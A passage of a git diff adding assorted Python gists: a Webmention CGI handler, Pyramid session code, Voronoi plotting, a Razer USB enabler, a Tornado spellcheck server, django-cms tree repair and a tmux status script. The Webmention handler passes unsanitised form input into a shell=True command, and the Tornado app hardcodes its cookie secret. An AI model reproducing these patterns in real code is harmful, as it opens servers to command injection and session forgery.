+# Put together message.
+r = {}
+r[':msgtime'] = int(time.time())
+r[':filter'] = {
+    'identity': [],
+    'fact': [],
+    'agent': [],
+    'cf_class': [],
+}
+r[":requestid"] = rid
+r[":callerid"] = 'cert=%s' % CERTNAME
+r[":senderid"] = 'pythontest'
+r[":msgtarget"] = target
+r[':body'] = yaml.dump('ping')
+h = rr.sign(sha1(r[':body']).digest(), 'sha1')
+r[':hash'] = h.encode('base64').replace("\n", "").strip()
+
+data = yaml.dump(r)
+s.put(data, target)
+time.sleep(2)
+results = []
+while True:
+    x = None
+    try:
+        x = s.get_nowait()
+        print x
+    except:
+        break
+    if not x:
+        break
+    y = yaml.load(x.body)
+    print y
+    if y[':requestid'] == rid:
+        results.append(y)
+
+print [q[':senderid'] for q in results]
\ No newline at end of file
diff --git a/hard-gists/8020379/._snippet.py b/hard-gists/8020379/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8020379/._snippet.py differ
diff --git a/hard-gists/8020379/snippet.py b/hard-gists/8020379/snippet.py
new file mode 100644
index 00000000..e8f18c24
--- /dev/null
+++ b/hard-gists/8020379/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/python3
+import os
+import cgi
+import cgitb
+cgitb.enable()
+import subprocess
+import urllib.request
+
+form = cgi.FieldStorage()
+source = form.getvalue('source', None)
+target = form.getvalue('target', None)
+server = os.environ.get('SERVER_NAME', None)
+method = os.environ.get('REQUEST_METHOD', 'GET')
+
+
+def validate(source, target, server, method, callback_if_valid):
+    status = 400
+    if method != 'POST':
+        message = 'Webmention MUST be performed through a POST request.'
+    elif source is None or target is None:
+        message = 'Please fill in the source and target fields.'
+    elif '://' not in source or '://' not in target:
+        message = 'Source and target fields should be URLs.'
+    elif not target.split('://', 1)[1].startswith(server):
+        message = 'Target should be a link to this domain: {0}'.format(server)
+    elif not target in urllib.request.urlopen(source).read().decode('utf-8'):
+        message = 'Source should have a link to the target: {0}'.format(target)
+    else:
+        message = 'Success! With source={source} and target={target}'.format(
+            source=source,
+            target=target,
+        )
+        status = 202
+        callback_if_valid(source, target)
+    return status, message
+
+
+def send_response(status, message):
+    print('Content-type: text/html')
+    print('Status: {0}'.format(status))
+    print()
+    print("""<!doctype html><html lang=en>
+    <head><meta charset=utf-8><title>Webmention</title></head>
+    <body><p>{message}</p></body></html>""".format(message=message))
+
+
+def on_valid_submission(source, target):
+    commands = [
+        'cd /home/larlet/www',
+        'source /home/larlet/.virtualenvs/webmention/bin/activate',
+        'fab --hide=everything add_webmention:{source},{target}'.format(
+            source=source,
+            target=target,
+        ),
+    ]
+    subprocess.call(' && '.join(commands), shell=True)
+
+
+send_response(*validate(source, target, server, method, on_valid_submission))
diff --git a/hard-gists/8035611/._snippet.py b/hard-gists/8035611/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8035611/._snippet.py differ
diff --git a/hard-gists/8035611/snippet.py b/hard-gists/8035611/snippet.py
new file mode 100644
index 00000000..c9bdb500
--- /dev/null
+++ b/hard-gists/8035611/snippet.py
@@ -0,0 +1,37 @@
+from hashlib import sha256
+import os
+
+from pyramid.session import SignedCookieSessionFactory
+
+def make_session_id():
+  rand = os.urandom()
+  return sha256(sha256(rand).digest()).hexdigest()
+
+class MemorySessionSerializer(object):
+  def __init__(self):
+    self.sessions = {}
+    
+  def loads(self, bstruct):
+    session_id = bstruct.decode('utf-8')
+    try:
+      return self.sessions[session_id]
+    except KeyError:
+      raise ValueError
+  
+  def dumps(self, appstruct):
+    # damn, we have no unhacky way to reuse the old session id
+    session_id = make_session_id()
+    self.sessions[session_id] = appstruct
+    return session_id.encode('utf-8')
+
+def main(global_config, **settings):
+  config = Configurator(settings=settings)
+  
+  serializer = MemorySessionSerializer()
+  session_factory = SignedCookieSessionFactory(
+    settings['session.secret'],
+    serializer=serializer,
+  )
+  config.set_session_factory(session_factory)
+  
+  return config.make_wsgi_app()
\ No newline at end of file
diff --git a/hard-gists/8036995/._snippet.py b/hard-gists/8036995/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8036995/._snippet.py differ
diff --git a/hard-gists/8036995/snippet.py b/hard-gists/8036995/snippet.py
new file mode 100644
index 00000000..ba3da7d9
--- /dev/null
+++ b/hard-gists/8036995/snippet.py
@@ -0,0 +1,113 @@
+import numpy as np
+import matplotlib.pyplot as plt
+from scipy.spatial import Voronoi
+
+def voronoi_finite_polygons_2d(vor, radius=None):
+    """
+    Reconstruct infinite voronoi regions in a 2D diagram to finite
+    regions.
+
+    Parameters
+    ----------
+    vor : Voronoi
+        Input diagram
+    radius : float, optional
+        Distance to 'points at infinity'.
+
+    Returns
+    -------
+    regions : list of tuples
+        Indices of vertices in each revised Voronoi regions.
+    vertices : list of tuples
+        Coordinates for revised Voronoi vertices. Same as coordinates
+        of input vertices, with 'points at infinity' appended to the
+        end.
+
+    """
+
+    if vor.points.shape[1] != 2:
+        raise ValueError("Requires 2D input")
+
+    new_regions = []
+    new_vertices = vor.vertices.tolist()
+
+    center = vor.points.mean(axis=0)
+    if radius is None:
+        radius = vor.points.ptp().max()*2
+
+    # Construct a map containing all ridges for a given point
+    all_ridges = {}
+    for (p1, p2), (v1, v2) in zip(vor.ridge_points, vor.ridge_vertices):
+        all_ridges.setdefault(p1, []).append((p2, v1, v2))
+        all_ridges.setdefault(p2, []).append((p1, v1, v2))
+
+    # Reconstruct infinite regions
+    for p1, region in enumerate(vor.point_region):
+        vertices = vor.regions[region]
+
+        if all(v >= 0 for v in vertices):
+            # finite region
+            new_regions.append(vertices)
+            continue
+
+        # reconstruct a non-finite region
+        ridges = all_ridges[p1]
+        new_region = [v for v in vertices if v >= 0]
+
+        for p2, v1, v2 in ridges:
+            if v2 < 0:
+                v1, v2 = v2, v1
+            if v1 >= 0:
+                # finite ridge: already in the region
+                continue
+
+            # Compute the missing endpoint of an infinite ridge
+
+            t = vor.points[p2] - vor.points[p1] # tangent
+            t /= np.linalg.norm(t)
+            n = np.array([-t[1], t[0]])  # normal
+
+            midpoint = vor.points[[p1, p2]].mean(axis=0)
+            direction = np.sign(np.dot(midpoint - center, n)) * n
+            far_point = vor.vertices[v2] + direction * radius
+
+            new_region.append(len(new_vertices))
+            new_vertices.append(far_point.tolist())
+
+        # sort region counterclockwise
+        vs = np.asarray([new_vertices[v] for v in new_region])
+        c = vs.mean(axis=0)
+        angles = np.arctan2(vs[:,1] - c[1], vs[:,0] - c[0])
+        new_region = np.array(new_region)[np.argsort(angles)]
+
+        # finish
+        new_regions.append(new_region.tolist())
+
+    return new_regions, np.asarray(new_vertices)
+
+# make up data points
+np.random.seed(1234)
+points = np.random.rand(15, 2)
+
+# compute Voronoi tesselation
+vor = Voronoi(points)
+
+# plot
+regions, vertices = voronoi_finite_polygons_2d(vor)
+print "--"
+print regions
+print "--"
+print vertices
+
+# colorize
+for region in regions:
+    polygon = vertices[region]
+    plt.fill(*zip(*polygon), alpha=0.4)
+
+plt.plot(points[:,0], points[:,1], 'ko')
+plt.axis('equal')
+plt.xlim(vor.min_bound[0] - 0.1, vor.max_bound[0] + 0.1)
+plt.ylim(vor.min_bound[1] - 0.1, vor.max_bound[1] + 0.1)
+
+plt.savefig('voro.png')
+plt.show()
\ No newline at end of file
diff --git a/hard-gists/8054226/._snippet.py b/hard-gists/8054226/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8054226/._snippet.py differ
diff --git a/hard-gists/8054226/snippet.py b/hard-gists/8054226/snippet.py
new file mode 100644
index 00000000..5f69de63
--- /dev/null
+++ b/hard-gists/8054226/snippet.py
@@ -0,0 +1,99 @@
+#!/usr/bin/env python2
+
+# blackwidow_enable.py
+#
+# Enables the M1-5 and FN keys to send scancodes on the Razer BlackWidow
+# and BlackWidow Ultimate keyboards.
+#
+# You can use 'xev' and 'xbindkeys' to assign actions to the macro keys.
+#
+# Requires the PyUSB library.
+#
+# By Michael Fincham <michael@finch.am> 2012-03-05
+# This code is released in to the public domain.
+
+import sys
+import usb
+
+USB_VENDOR = 0x1532  # Razer
+USB_PRODUCT = 0x011a  # BlackWidow Ultimate 2013 // try '0x011b' if it doesn't work for you...  
+
+# These values are from the USB HID 1.11 spec section 7.2.
+# <http://www.usb.org/developers/devclass_docs/HID1_11.pdf>
+USB_REQUEST_TYPE = 0x21  # Host To Device | Class | Interface
+USB_REQUEST = 0x09  # SET_REPORT
+
+# These values are from the manufacturer's driver.
+USB_VALUE = 0x0300
+USB_INDEX = 0x2
+USB_INTERFACE = 2
+
+# These magic bytes are also from the manufacturer's driver.
+USB_BUFFER = b"\x00\x00\x00\x00\x00\x02\x00\x04\x02\x00\x00\x00\x00\x00\
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
+\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00"
+
+
+def find_keyboard_device():
+    for bus in usb.busses():
+        for device in bus.devices:
+            if device.idVendor == USB_VENDOR and \
+               device.idProduct == USB_PRODUCT:
+                return device
+
+
+def main():
+
+    device = find_keyboard_device()
+    if device == None:
+        sys.stderr.write("BlackWidow not found.\n")
+        sys.exit(1)
+
+    try:
+        handle = device.open()
+        interface = device.configurations[0].interfaces[USB_INTERFACE][0]
+        endpoint = interface.endpoints[0]
+    except:
+        sys.stderr.write("Could not select configuration endpoint.\n")
+        sys.exit(1)
+
+    try:
+        handle.detachKernelDriver(interface)
+    except usb.USBError:
+        pass  # This is usually because the enabler was run before and the kernel is still detached
+    except Exception:
+        sys.stderr.write("A very unusual error happened trying to detch the kernel driver.\n")
+        sys.exit(1)
+
+    try:
+        handle.claimInterface(interface)
+    except:
+        sys.stderr.write("Unable to claim the configuration interface. Do you have the appropriate privileges?\n")
+        sys.exit(1)
+
+    result = 0
+
+    try:
+        result = handle.controlMsg(requestType=USB_REQUEST_TYPE,
+                                   request=USB_REQUEST,
+                                   value=USB_VALUE,
+                                   index=USB_INDEX,
+                                   buffer=USB_BUFFER)
+    except:
+        sys.stderr.write("Could not write the magic bytes to the BlackWidow.\n")
+
+    if result == len(USB_BUFFER):
+        sys.stderr.write("Configured BlackWidow.\n")
+
+    try:
+        handle.releaseInterface()
+    except:
+        sys.stderr.write("Unable to release interface.\n")
+        sys.exit(1)
+
+    sys.exit(0)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/hard-gists/805439/._snippet.py b/hard-gists/805439/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/805439/._snippet.py differ
diff --git a/hard-gists/805439/snippet.py b/hard-gists/805439/snippet.py
new file mode 100644
index 00000000..364a5997
--- /dev/null
+++ b/hard-gists/805439/snippet.py
@@ -0,0 +1,110 @@
+# tutorial/__init__.py
+
+from pyramid.config import Configurator
+
+from tutorial.model.meta import init_model
+from tutorial.request import TutorialRequest
+
+def main(global_config, **settings):
+    init_model(settings)
+
+    config = Configurator(settings=settings,
+                          request_factory=TutorialRequest)
+
+    return config.make_wsgi_app()
+
+
+# tutorial/request.py
+from pyramid.request import Request
+from pyramid.decorator import reify
+
+class TutorialRequest(Request):
+
+    @reify
+    def db(self):
+        maker = self.registry.settings['db.maker']
+        return maker()
+
+
+# tutorial/model/meta.py
+from sqlalchemy.ext.declarative import declarative_base
+
+Base = declarative_base()
+
+def init_model(settings):
+    from sqlalchemy import engine_from_config
+    from sqlalchemy.orm import sessionmaker
+    from zope.sqlalchemy import ZopeTransactionExtension
+
+    engine = engine_from_config(settings, 'sqlalchemy.')
+    settings['db.engine'] = engine
+
+    maker = sessionmaker(bind=engine, extension=ZopeTransactionExtension())
+    settings['db.maker'] = maker
+
+
+# tutorial/model/users.py
+import logging
+from datetime import datetime
+from hashlib import sha256
+
+from sqlalchemy import Column, ForeignKey, Table, UniqueConstraint
+from sqlalchemy.orm import relation, backref
+from sqlalchemy.types import Integer, DateTime, String
+
+from baseline.model.meta import Base
+
+__all__ = ['User', 'Group']
+
+log = logging.getLogger(__name__)
+
+user_group_table = Table('user_group_link', Base.metadata,
+    Column('user_id', Integer,
+           ForeignKey('user.id', ondelete='cascade', onupdate='cascade'),
+           nullable=False),
+    Column('group_id', Integer,
+           ForeignKey('group.id', ondelete='cascade', onupdate='cascade'),
+           nullable=False),
+    UniqueConstraint('user_id', 'group_id')
+)
+
+class User(Base):
+    __tablename__ = 'user'
+
+    id = Column(Integer, primary_key=True)
+
+    login = Column(String(32), unique=True, index=True, nullable=False)
+
+    signup_date = Column(DateTime, default=datetime.utcnow)
+    last_login_date = Column(DateTime, default=datetime.utcnow)
+
+    groups = relation('Group', secondary=user_group_table,
+                      backref='users')
+
+    def __repr__(self):
+        return '<User(id=%r, login=%r)>' % (self.id, self.login)
+
+class Group(Base):
+    __tablename__ = 'group'
+
+    id = Column(Integer, primary_key=True)
+    name = Column(String(32), nullable=False, unique=True, index=True)
+
+    def __repr__(self):
+        return '<Group(id=%r, name=%r)>' % (self.id, self.name)
+
+
+# tutorial/model/__init__.py
+from sqlalchemy.exc import SQLAlchemyError
+from sqlalchemy.orm.exc import NoResultFound, MultipleResultsFound
+
+from users import *
+
+
+## NOTES
+#   The database connection is available through either ``request.db`` or
+#   ``config.registry.settings['db.maker']``.
+#
+#   This method relies on the fact that SQLAlchemy uses the QueuePool
+#   connection pool by default which is thread-safe (or the SingletonPool
+#   for SQLite).
\ No newline at end of file
diff --git a/hard-gists/8067e173121625e79498/._snippet.py b/hard-gists/8067e173121625e79498/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8067e173121625e79498/._snippet.py differ
diff --git a/hard-gists/8067e173121625e79498/snippet.py b/hard-gists/8067e173121625e79498/snippet.py
new file mode 100644
index 00000000..2669192f
--- /dev/null
+++ b/hard-gists/8067e173121625e79498/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+# coding=utf-8
+
+import codecs
+from lxml.html.soupparser import fromstring
+from lxml.cssselect import CSSSelector
+import re
+import requests
+
+
+DEBUG = False
+
+index_url = 'learn-duolingo-english-to-turkish/lessons'
+base_url = 'https://elon.io/'
+
+start_url = base_url + index_url
+selector_list = CSSSelector("div.list-group")
+
+fh = codecs.open("elon-io-duolingo-turkish.csv", 'w', 'UTF-8')
+
+if DEBUG:
+    print "GET %s" % start_url
+response = requests.get(start_url)
+root = fromstring(response.content)
+lessons = selector_list(root)[0]
+
+counter = 0
+for lesson in lessons.findall('a')[1:]:  # Skip first (empty)
+    href = lesson.attrib['href']
+    pageurl = base_url + href
+    tag = re.sub('.*\/', '', href)
+    if DEBUG:
+        print "GET %s" % pageurl
+    response = requests.get(pageurl)
+    pageroot = fromstring(response.content)
+    selector_rows = CSSSelector("tbody tr")
+    rows = selector_rows(pageroot)
+    for row in rows:
+        cells = row.findall('td')
+        english = cells[0].text
+        turkish = cells[1].find('a').text
+        if DEBUG:
+            print repr(turkish), english
+        # Fix funky encodings
+        tmp = turkish
+        tmp = tmp.replace(u"\xc4\x9f", u"\u011f") # ǧ
+        tmp = tmp.replace(u"\xc4\u0105", u"\u0131") # ı
+        tmp = tmp.replace(u"\u0139\x9f", u"\u015f") # ş
+        tmp = tmp.replace(u"\u0102\xa7", u"\u00e7") # ç
+        tmp = tmp.replace(u"\u0102\u015b", u"\u00f6") # ö
+        tmp = tmp.replace(u"\u0102\u017a", u"\u00fc") # ü
+        tmp = tmp.replace(u"\u0e23\u0e07", u"\u00e7") # ç
+        if tmp != turkish:
+            print "Changed %s to %s in %s" % (turkish, tmp, tag)
+            turkish = tmp
+        fh.write("%s\t%s\t%s\n" % (english, turkish, tag))
+    counter += 1
+
+fh.close()
diff --git a/hard-gists/8069261/._snippet.py b/hard-gists/8069261/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8069261/._snippet.py differ
diff --git a/hard-gists/8069261/snippet.py b/hard-gists/8069261/snippet.py
new file mode 100644
index 00000000..fab7e0f1
--- /dev/null
+++ b/hard-gists/8069261/snippet.py
@@ -0,0 +1,73 @@
+'''
+See:
+
+- https://gist.github.com/akhenakh/2894704/raw/0735da48251e77ad8a29230b92f6a6ce3a4f604c/gistfile1.py
+'''
+import functools
+import time
+import threading
+import logging
+import Queue
+import hunspell
+
+import tornado.web
+import tornado.websocket
+import tornado.locale
+import tornado.ioloop
+from tornado.options import define, options
+
+define('debug', type=bool, default=False, help='run in debug mode with autoreload (default: false)')
+
+class Handler(tornado.web.RequestHandler):
+    @property
+    def queue(self):
+        return self.application.queue
+
+    @tornado.web.asynchronous
+    def get(self, word):
+        self.queue.put( (word, self.on_callback) )
+
+    def on_callback(self, output):
+        self.write("Thread output: %s" % output)
+        self.finish()
+
+class ThreadWord(threading.Thread):
+    def __init__(self, queue):
+        threading.Thread.__init__(self)
+        self.queue = queue
+        self.hobj = hunspell.HunSpell('./fr-classique.dic', './fr-classique.aff')
+
+    def run(self):
+        while True:
+            try:
+                word, callback = self.queue.get(True, 1)
+            except Queue.Empty:
+                continue
+            # cpu intensive work ...
+            output = self.hobj.spell(word)
+            tornado.ioloop.IOLoop.instance().add_callback(functools.partial(callback, output))
+            self.queue.task_done()
+
+class Application(tornado.web.Application):
+    def __init__(self):
+        handlers = [
+            (r"/(.*)", Handler),
+        ]
+        settings = {
+            'cookie_secret': 'W/wT5ndaR/2sa3m8OOQ5q0xDvnZclE4BtimO1f+QM2Y=',
+            'debug':options.debug,
+        }
+        tornado.web.Application.__init__(self, handlers, **settings)
+
+        self.queue = Queue.Queue()
+
+        for i in range(5):
+            t = ThreadWord(self.queue)
+            t.setDaemon(True)
+            t.start()
+
+if __name__ == "__main__":
+    tornado.options.parse_command_line()
+    application = Application()
+    application.listen(8888)
+    tornado.ioloop.IOLoop.instance().start()
\ No newline at end of file
diff --git a/hard-gists/8074321/._snippet.py b/hard-gists/8074321/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8074321/._snippet.py differ
diff --git a/hard-gists/8074321/snippet.py b/hard-gists/8074321/snippet.py
new file mode 100644
index 00000000..f966b84d
--- /dev/null
+++ b/hard-gists/8074321/snippet.py
@@ -0,0 +1,22 @@
+from sklearn.base import BaseEstimator, TransformerMixin
+
+class Transformer(BaseEstimator, TransformerMixin):
+    def __init__(self, fn):
+        self.fn = fn
+
+    def fit(self, X, y):
+        return self
+
+    def transform(self, X):
+        return self.fn(X)
+
+
+if __name__ == '__main__':
+    from sklearn import datasets, svm, pipeline, cross_validation
+    iris = datasets.load_iris()
+    p = pipeline.Pipeline([
+        ('t', Transformer(svm.LinearSVC().fit(iris.data, iris.target).decision_function)),
+        ('c', svm.LinearSVC()),
+    ])
+    print(cross_validation.cross_val_score(p, iris.data, iris.target))
+    
diff --git a/hard-gists/8086892/._snippet.py b/hard-gists/8086892/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8086892/._snippet.py differ
diff --git a/hard-gists/8086892/snippet.py b/hard-gists/8086892/snippet.py
new file mode 100644
index 00000000..091e1212
--- /dev/null
+++ b/hard-gists/8086892/snippet.py
@@ -0,0 +1,27 @@
+from flask.ext.wtf import Form
+from flask.ext.wtf.file import FileField
+
+import imghdr
+
+
+class ImageFileRequired(object):
+    """
+    Validates that an uploaded file from a flask_wtf FileField is, in fact an
+    image.  Better than checking the file extension, examines the header of
+    the image using Python's built in imghdr module.
+    """
+
+    def __init__(self, message=None):
+        self.message = message
+
+    def __call__(self, form, field):
+        if field.data is None or imghdr.what('unused', field.data.read()) is None:
+            message = self.message or 'An image file is required'
+            raise validators.StopValidation(message)
+
+        field.data.seek(0)
+
+
+class MyForm(Form):
+    
+    photo = FileField('Photo', validators=[ImageFileRequired()])
diff --git a/hard-gists/809420/._snippet.py b/hard-gists/809420/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/809420/._snippet.py differ
diff --git a/hard-gists/809420/snippet.py b/hard-gists/809420/snippet.py
new file mode 100644
index 00000000..c63282ce
--- /dev/null
+++ b/hard-gists/809420/snippet.py
@@ -0,0 +1,24 @@
+"""
+resolved_pattern Django context processor: insert the current url's ResolverMatch object into context.
+
+Example use: Set class=active to a menu item, based on the namespace of the currently matched url.
+
+<li {% if resolved.namespace == "home" %}class="active"{% endif %}> home </li>
+
+or more specifically:
+
+<li {% if resolved.view_name == "contact" %}class="active"{% endif %}> contact </li>
+
+See http://docs.djangoproject.com/en/dev/topics/http/urls/#django.conf.urls.defaults.ResolverMatch
+
+"""
+
+from django.core.urlresolvers import resolve
+
+def resolvermatch(request):
+    """Add the name of the currently resolved pattern to the RequestContext"""
+    match = resolve(request.path)
+    if match:
+        return {'resolved': match}
+    else:
+        return {}
diff --git a/hard-gists/8096192/._snippet.py b/hard-gists/8096192/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8096192/._snippet.py differ
diff --git a/hard-gists/8096192/snippet.py b/hard-gists/8096192/snippet.py
new file mode 100644
index 00000000..b3efe19f
--- /dev/null
+++ b/hard-gists/8096192/snippet.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python
+# encoding: utf-8
+
+import re
+from datetime import date
+from path import path
+
+
+class BackupPrune:
+
+    name_pattern = re.compile(
+        r'^(?P<year>\d{4})-(?P<month>\d{2})-(?P<day>\d{2})'
+        r'\.sql\.gz$'
+    )
+
+    keep_weekday = 6
+    keep_daily = 7
+
+    def __init__(self, backup_dir):
+        self.backup_dir = path(backup_dir)
+        self.today = date.today()
+
+    def enumerate(self):
+        for backup_path in sorted(self.backup_dir.listdir()):
+            match = self.name_pattern.match(backup_path.name)
+            if match:
+                backup_date = date(
+                    int(match.group('year')),
+                    int(match.group('month')),
+                    int(match.group('day')),
+                )
+                yield (backup_date, backup_path)
+
+    def keep(self, backup_date):
+        if backup_date.weekday() == self.keep_weekday:
+            return True
+
+        elif (self.today - backup_date).days < self.keep_daily:
+            return True
+
+        else:
+            return False
+
+    def test(self):
+        for backup_date, backup_path in self.enumerate():
+            if not self.keep(backup_date):
+                print(u'✘', backup_path.name)
+                backup_path.unlink()
+
+def main():
+    backup_dir = path(__file__).abspath().parent
+    bp = BackupPrune(backup_dir)
+    bp.test()
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/809693/._snippet.py b/hard-gists/809693/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/809693/._snippet.py differ
diff --git a/hard-gists/809693/snippet.py b/hard-gists/809693/snippet.py
new file mode 100644
index 00000000..55a0a267
--- /dev/null
+++ b/hard-gists/809693/snippet.py
@@ -0,0 +1,134 @@
+'''
+WARNINGS: THIS SCRIPT COMES WITHOUT ANY WARRANTY AND RUNNING IT IS DONE SO AT YOUR OWN RISK!
+'''
+from cms.models import Page
+
+def setup():
+    from django.contrib.auth.models import User
+    from cms.utils.permissions import set_current_user
+    set_current_user(User.objects.get(id=1))
+def check_no_moderator():
+    print "  checking that CMS_MODERATOR is set to False"
+    from django.conf import settings
+    if settings.CMS_MODERATOR:
+        print "!! Please set CMS_MODERATOR=False in settings before using this script !!"
+        print 'aborted'
+        raise Exception("!! Please set CMS_MODERATOR=False in settings before using this script !!")
+
+
+
+def fix_tree_id():
+    setup()
+    check_no_moderator()
+    print "  rewriting tree_id..."
+    #from django.db.models import Avg, Max, Min, Count
+    #base_tree_id = Page.objects.filter(parent=None).aggregate(tree_id=Max('tree_id'))['tree_id'] + 1
+    base_tree_id = 1
+    
+    for page in Page.objects.filter(parent=None).order_by('tree_id'):
+        page.tree_id = base_tree_id
+        page.save()
+        r_fix_tree_id(page.children.all(), base_tree_id)
+        base_tree_id += 1
+def r_fix_tree_id(pages, tree_id):
+    for page in pages:
+        page.tree_id = tree_id
+        page.save(no_signals=True)
+        r_fix_tree_id(page.children.all(), tree_id)      
+
+def fix_leftright(do_alteration=True):
+    setup()
+    check_no_moderator()
+    print "  fixing left and right..."
+    def recur(node, counter):
+        node.lft = counter
+        counter += 1
+        for child in node.children.all().order_by('tree_id', 'parent', 'lft'):
+            counter = recur(child, counter)
+        node.rght = counter
+        counter += 1
+        node.save(no_signals=True)
+        return counter
+    for root_page in Page.objects.filter(parent=None).order_by('tree_id', 'parent', 'lft'):
+        counter = recur(root_page, 1)
+        # sanity check
+        total_pages = Page.objects.filter(tree_id=root_page.tree_id).count()
+        if not total_pages * 2 == counter-1:
+            print "            something is wrong! %s != %s" % (total_pages * 2, counter-1)
+
+def fix_level():
+    setup()
+    print "  fixing level..."
+    bad_level_count = 0
+    level = 0
+    all_pages = Page.objects.order_by('tree_id', 'parent', 'lft')
+    for root_page in all_pages.filter(parent=None):
+        bad_level_count += r_fix_level(root_page, level=level)
+    print "        fixed level of %s pages" % bad_level_count
+
+def r_fix_level(page, level):
+    bad_level_count = 0
+    if not page.level == level:
+        page.level = level
+        page.save(no_signals=True)
+        bad_level_count += 1
+    else:
+        pass#print "    comparing level of page id:%s level:%s to level:%s: ok" % (page, page.level, level)
+    for subpage in page.children.all():
+        bad_level_count += r_fix_level(subpage, level+1)
+    return bad_level_count
+
+
+def fix():
+    print "fixing mptt tree"
+    fix_tree_id()
+    fix_level()
+    fix_leftright()
+    print "all done"
+
+def check_level():
+    print 'Checking levels'
+    roots = Page.objects.filter(parent__isnull=True)
+    def _rec(pages, level=0):
+        for page in pages:
+            if page.level != level:
+                print 'ERROR: Page %s (%s) has level %s, expected %s' % (page, page.pk, page.level, level)
+            children = Page.objects.filter(parent=page)
+            _rec(children, level+1)
+    _rec(roots)
+    print 'Done'
+    
+def check_leftright():
+    print "  checking left and right..."
+    errors = {}
+    def add_error(node, msg):
+        if not node.id in errors.keys():
+            errors[node.id] = [u"node: %s" % node]
+        errors[node.id].append(msg)
+    def recur(node, counter):
+        if not node.lft == counter: add_error(node, u"lft is %s, should be %s." % (node.lft, counter))
+        counter += 1
+        for child in node.children.all().order_by('tree_id', 'parent', 'lft'):
+            counter = recur(child, counter)
+        if not node.rght == counter: add_error(node, u"rght is %s, should be %s." % (node.rght, counter))
+        counter += 1
+        return counter
+    for root_page in Page.objects.filter(parent=None).order_by('tree_id', 'parent', 'lft'):
+        counter = recur(root_page, 1)
+        # sanity check
+        total_pages = Page.objects.filter(tree_id=root_page.tree_id).count()
+        if not total_pages * 2 == counter-1:
+            print "            something is wrong! %s != %s" % (total_pages * 2, counter-1)
+    from pprint import pprint
+    pprint(errors)
+    return errors
+
+def kill_moderations():
+    from django.db import connection
+    HAPPY_MODERATION = """UPDATE cms_page SET moderator_state=10"""
+    
+    cursor = connection.cursor()
+    cursor.execute(HAPPY_MODERATION)
+    
+            
+        
\ No newline at end of file
diff --git a/hard-gists/809867d7110acbde87af/._snippet.py b/hard-gists/809867d7110acbde87af/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/809867d7110acbde87af/._snippet.py differ
diff --git a/hard-gists/809867d7110acbde87af/snippet.py b/hard-gists/809867d7110acbde87af/snippet.py
new file mode 100644
index 00000000..a56c0ca9
--- /dev/null
+++ b/hard-gists/809867d7110acbde87af/snippet.py
@@ -0,0 +1,158 @@
+#!/usr/bin/env python
+# -*- coding: utf8 -*-
+import subprocess
+
+from operator import itemgetter, methodcaller
+
+import dbus
+
+
+def get_current_track():
+    bus = dbus.SessionBus()
+    player = bus.get_object('com.spotify.qt', '/')
+    iface = dbus.Interface(player, 'org.freedesktop.MediaPlayer2')
+    info = iface.GetMetadata()
+
+    if not info:
+        return ['']
+    else:
+        artist = info['xesam:artist'][0]
+        title = info['xesam:title']
+
+        return [
+            u'♫ {artist} - {title} ♫'.format(artist=artist, title=title).encode('utf8')
+        ]
+
+
+def get_current_state(battery):
+    state = ''
+    pct = 100.0
+
+    output = subprocess.check_output(
+        'upower -i {} | grep -E "state|percentage"'.format(battery), shell=True
+    ).strip().split('\n')
+
+    for line in map(methodcaller('strip'), output):
+        name, _, data = line.rpartition(' ')
+
+        if 'state' in name:
+            state = data
+        elif 'percentage' in name:
+            pct = float(data.rstrip('%'))
+
+    return state, pct
+
+
+def as_hearts(percent, factor=10):
+    # FIXME: Show 1 full heart for every 10% it has
+    heart = u'♥'.encode('utf8')
+
+    num_full = int(round(percent / factor))
+    num_empty = (100 / factor) - num_full
+
+    full_hearts = heart * num_full
+    empty_hearts = heart * num_empty
+
+    return '#[fg=red,bg=black]{}#[fg=white,bg=black]{}'.format(full_hearts, empty_hearts)
+
+
+def get_memory():
+    total = None
+    free = None
+    buffers = None
+    cached = None
+
+    with open('/proc/meminfo', 'r') as f:
+        for line in f:
+            if line.startswith('MemTotal:'):
+                total = float(line.strip().split(' ')[-2])
+            elif line.startswith('MemFree:'):
+                free = float(line.strip().split(' ')[-2])
+            elif line.startswith('Buffers:'):
+                buffers = float(line.strip().split(' ')[-2])
+            elif line.startswith('Cached:'):
+                cached = float(line.strip().split(' ')[-2])
+
+    # Convert to MB
+    total /= 1024.0
+    free /= 1024.0
+    buffers /= 1024.0
+    cached /= 1024.0
+    used = total - free - buffers - cached
+    pct = (used / total) * 100.0
+
+    if pct < 85:
+        color = '#[fg=white,bg=black]'
+    elif pct < 95:
+        color = '#[fg=yellow,bg=black]'
+    else:
+        color = '#[fg=red,bg=black]'
+
+    kwargs = {
+        'color': color,
+        'reset': '#[fg=white,bg=black]',
+        'free': int(used),
+        'total': int(total),
